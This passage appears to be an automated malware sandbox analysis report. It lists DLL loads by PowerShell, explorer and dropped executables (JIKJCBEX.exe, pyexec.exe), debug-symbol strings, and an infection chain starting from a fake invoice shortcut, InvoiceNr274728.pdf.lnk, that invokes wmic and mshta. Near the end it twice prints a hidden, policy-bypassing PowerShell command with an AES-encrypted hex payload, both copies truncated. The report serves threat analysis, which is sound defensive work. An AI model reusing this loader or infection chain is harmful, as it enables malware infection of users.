Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: InvoiceNr274728.pdf.lnk

LNK file: ..\..\..\Windows\System32\Wbem\wmic.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

File opened: C:\Users\user\AppData\Local\Temp\msvcr90.dll

Source:	Binary string: msvcr90.i386.pdb source: JIKJCBEX.exe, 0000000D.00000003.2236338133.00000000026E1000.00000004.00000020.00020000.00000000.sdmp, msvcr90.dll.14.dr
Source:	Binary string: explorer.pdbUGP source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000005.00000003.2440533498.000001B708DB9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440489470.000001B704E2C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446677413.000001B708D95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708EB3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452986912.000001B708DD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2445424334.000001B704E2B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453428675.000001B708EDB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708E65000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440802645.000001B704E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452952243.000001B708D96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440761514.000001B704E1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440164414.000001B708EBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440213660.000001B708EDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438730946.000001B704E04000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440249816.000001B708E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440846444.000001B704E29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: pyexec.exe, 0000000E.00000002.2489740320.0000000008DA0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2489449260.0000000008A4D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721618843.0000000009051000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720977677.000000000894D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721208287.0000000008CA0000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899334863.0000000005110000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899061410.0000000004CAA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109614540.00000000046BC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109791195.0000000004A10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: pyexec.exe, 0000000E.00000002.2489740320.0000000008DA0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2489449260.0000000008A4D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721618843.0000000009051000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720977677.000000000894D000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2721208287.0000000008CA0000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899334863.0000000005110000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899061410.0000000004CAA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109614540.00000000046BC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109791195.0000000004A10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sethc.pdb source: mshta.exe, 00000005.00000003.2440533498.000001B708DB9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446677413.000001B708D95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708EB3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452986912.000001B708DD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453428675.000001B708EDB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440802645.000001B704E24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452952243.000001B708D96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440761514.000001B704E1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440164414.000001B708EBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440213660.000001B708EDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438730946.000001B704E04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000003.2481257697.000000000915B000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmp, pyexec.exe, 00000013.00000002.2722259450.000000006BC3A000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: explorer.pdb source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Crea
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = 